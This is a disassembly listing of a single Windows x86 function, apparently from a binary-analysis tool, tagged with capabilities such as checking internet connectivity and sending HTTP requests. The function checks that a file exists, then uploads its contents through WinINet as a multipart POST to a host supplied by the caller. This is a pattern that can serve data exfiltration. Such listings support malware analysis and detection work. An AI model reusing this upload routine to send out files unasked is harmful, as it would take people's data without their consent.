Function at 0x403cc0
Capabilities:
Check if file exists
Check internet connectivity via wininet
Connect to http server
Create http request
Send data
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
lea ecx, [ebp - 0x8c]
push edi
xor edi, edi
push esi
mov esi, 0xffffffff
push ebx
sub esp, 0xdc
lea ebx, [ebp - 0x18]
mov dword [ebp - 0x6c], ebx
xor ebx, ebx
mov dword [ebp - 0x64], esp
mov dword [ebp - 0x74], 0x41f030
mov dword [ebp - 0x70], 0x422eae
mov dword [ebp - 0x68], 0x40424a
mov dword [esp], ecx
call fcn.00421aa0
xor edx, edx
lea eax, [ebp - 0x90]
mov dword [ebp - 0x90], edx
mov dword [esp + 4], edi
mov dword [esp], eax
mov dword [ebp - 0x88], esi
call sub.WININET.DLL_InternetGetConnectedState
mov dword [ebp - 0x98], ebx
sub esp, 8
test eax, eax
jne 0x403d50
lea ecx, [ebp - 0x8c]
mov dword [esp], ecx
call fcn.00421b80
mov eax, dword [ebp - 0x98]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [ebp + 0x14]
mov edi, 0xffffffff
xor esi, esi
mov dword [esp], edx
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
mov dword [ebp - 0x88], edi
call eax
mov dword [ebp - 0x98], esi
sub esp, 4
test eax, eax
je 0x403d2e
mov byte [ebp - 0x99], 0
mov eax, 0xffffffff
xor edi, edi
mov dword [esp], 0x2e
xor esi, esi
xor ebx, ebx
mov dword [ebp - 0x88], eax
call fcn.00407a40
mov dword [esp], eax
xor ecx, ecx
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
call sub.WININET.DLL_InternetOpenA
mov dword [ebp - 0xa0], eax
sub esp, 0x14
test eax, eax
je 0x404238
xor ecx, ecx
xor edx, edx
mov eax, 3
mov dword [esp + 0x1c], ecx
xor edi, edi
xor esi, esi
mov dword [esp + 0x18], edx
mov ebx, 0x50
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov ecx, dword [ebp + 8]
mov dword [esp + 4], ecx
mov edx, dword [ebp - 0xa0]
mov dword [esp], edx
call sub.WININET.DLL_InternetConnectA
mov dword [ebp - 0xa4], eax
sub esp, 0x20
test eax, eax
je 0x40421c
xor esi, esi
mov edi, 0x8468c200
xor ecx, ecx
mov dword [ebp - 0x90], edi
xor edx, edx
mov eax, str.HTTP_1.0
mov dword [esp + 0x1c], esi
mov ebx, dword [ebp - 0x90]
mov dword [esp + 0x14], ecx
mov esi, str.POST
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ebx
mov dword [esp + 0xc], eax
mov edi, dword [ebp + 0xc]
mov dword [esp + 4], esi
mov dword [esp + 8], edi
mov ebx, dword [ebp - 0xa4]
mov dword [esp], ebx
call sub.WININET.DLL_HttpOpenRequestA
mov dword [ebp - 0xa8], eax
sub esp, 0x20
test eax, eax
je 0x404200
mov dword [ebp - 0xac], esp
mov ebx, dword [str.___________________________uploader]
mov ecx, dword [0x4244cc]
mov edx, dword [0x4244d0]
mov eax, dword [0x4244d4]
mov dword [ebp - 0x48], ebx
mov esi, dword [0x4244dc]
mov dword [ebp - 0x44], ecx
mov ebx, dword [0x4244e0]
mov dword [ebp - 0x40], edx
mov ecx, dword [0x4244e4]
mov dword [ebp - 0x3c], eax
mov edx, dword [0x4244e8]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], ebx
mov edi, dword [0x4244d8]
mov dword [ebp - 0x2c], ecx
lea esi, [ebp - 0x48]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x38], edi
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov ecx, esi
lea esi, [esi]
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x403ee0
and edx, 0x8080
jne 0x403f06
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
lea eax, [ebx + ecx + 0x11e]
and eax, 0xfffffff0
call fcn.00421960
lea edx, [esp + 0x2f]
mov edi, str.Host:__s_r_nContent_Type:_multipart_form_data__boundary_s
and edx, 0xfffffff0
mov dword [ebp - 0xb0], edx
lea eax, [ebp - 0x48]
mov ecx, 0xffffffff
mov dword [esp + 0xc], eax
mov esi, dword [ebp + 8]
mov dword [esp + 4], edi
mov dword [esp + 8], esi
mov ebx, dword [ebp - 0xb0]
mov dword [esp], ebx
lea ebx, [ebp - 0x48]
mov dword [ebp - 0x88], ecx
call sub.msvcrt.dll_sprintf
xor edx, edx
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], edx
mov dword [esp + 4], eax
mov esi, dword [ebp + 0x14]
mov dword [esp], esi
call fcn.004084e0
mov dword [ebp - 0xb4], eax
mov ecx, ebx
jmp 0x403f90
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x403f90
and edx, 0x8080
jne 0x403fb6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp + 0x10]
sub dword [ebp - 0xc4], ebx
mov dword [esp], ecx
call sub.msvcrt.dll_strlen
mov edi, dword [ebp - 0xc4]
mov edx, dword [ebp + 0x18]
add eax, edi
mov dword [ebp - 0xb8], eax
mov dword [esp], edx
call sub.msvcrt.dll_strlen
mov esi, dword [ebp - 0xb8]
lea eax, [esi + eax + 0x41e]
and eax, 0xfffffff0
call fcn.00421960
mov ecx, dword [ebp + 0x18]
lea ebx, [esp + 0x2f]
mov edx, str.___s_r_nContent_Disposition:_form_data__name__s___filename_file.raw__r_nContent_Type:__s_r_n_r_n
and ebx, 0xfffffff0
lea eax, [ebp - 0x48]
mov dword [ebp - 0xbc], ebx
mov ebx, 0xffffffff
mov dword [esp + 0x10], ecx
mov edi, dword [ebp + 0x10]
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov esi, dword [ebp - 0xbc]
mov dword [esp], esi
mov dword [ebp - 0x88], ebx
call sub.msvcrt.dll_sprintf
lea ecx, [ebp - 0x58]
mov dword [esp], ecx
call fcn.004085b0
mov ebx, dword [ebp - 0xbc]
mov ecx, ebx
mov esi, esi
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x404060
and edx, 0x8080
jne 0x404086
shr eax, 0x10
add ecx, 2
add al, al
lea esi, [ebp - 0x58]
sbb ecx, 3
sub ecx, ebx
mov ebx, 1
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0xbc]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [ebp - 0x88], ebx
call fcn.00408620
mov eax, dword [ebp - 0x94]
lea edi, [ebp - 0x58]
mov dword [esp + 8], eax
mov ecx, dword [ebp - 0xb4]
mov dword [esp], edi
mov dword [esp + 4], ecx
call fcn.00408620
mov edx, 4
mov esi, str._r_n__
lea ebx, [ebp - 0x58]
mov dword [esp + 8], edx
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00408620
lea ebx, [ebp - 0x48]
mov ecx, ebx
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x4040f2
and edx, 0x8080
jne 0x404118
shr eax, 0x10
add ecx, 2
add al, al
lea eax, [ebp - 0x58]
sbb ecx, 3
sub ecx, ebx
lea ebx, [ebp - 0x48]
mov dword [esp + 8], ecx
mov ecx, 1
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [ebp - 0x88], ecx
call fcn.00408620
mov edi, 4
mov edx, str.___r_n
lea esi, [ebp - 0x58]
mov dword [esp + 8], edi
mov dword [esp + 4], edx
mov dword [esp], esi
call fcn.00408620
mov ebx, dword [ebp - 0xb0]
mov ecx, ebx
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x404165
and edx, 0x8080
jne 0x40418b
shr eax, 0x10
add ecx, 2
mov edi, dword [ebp - 0x54]
add al, al
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 0x10], edi
mov edx, dword [ebp - 0x58]
mov dword [esp + 8], ecx
mov ecx, 1
mov dword [esp + 0xc], edx
mov esi, dword [ebp - 0xb0]
mov dword [esp + 4], esi
mov ebx, dword [ebp - 0xa8]
mov dword [esp], ebx
mov dword [ebp - 0x88], ecx
call sub.WININET.DLL_HttpSendRequestA
sub esp, 0x14
test eax, eax
mov eax, dword [ebp - 0xa8]
setne byte [ebp - 0x99]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
lea ecx, [ebp - 0x58]
mov eax, 0xffffffff
mov dword [esp], ecx
mov dword [ebp - 0x88], eax
call fcn.00408600
mov esp, dword [ebp - 0xac]
mov esi, dword [ebp - 0xa4]
mov ebx, 0xffffffff
mov dword [esp], esi
mov dword [ebp - 0x88], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov edi, dword [ebp - 0xa0]
mov edx, 0xffffffff
mov dword [esp], edi
mov dword [ebp - 0x88], edx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
movzx eax, byte [ebp - 0x99]
mov dword [ebp - 0x98], eax
jmp 0x403d2e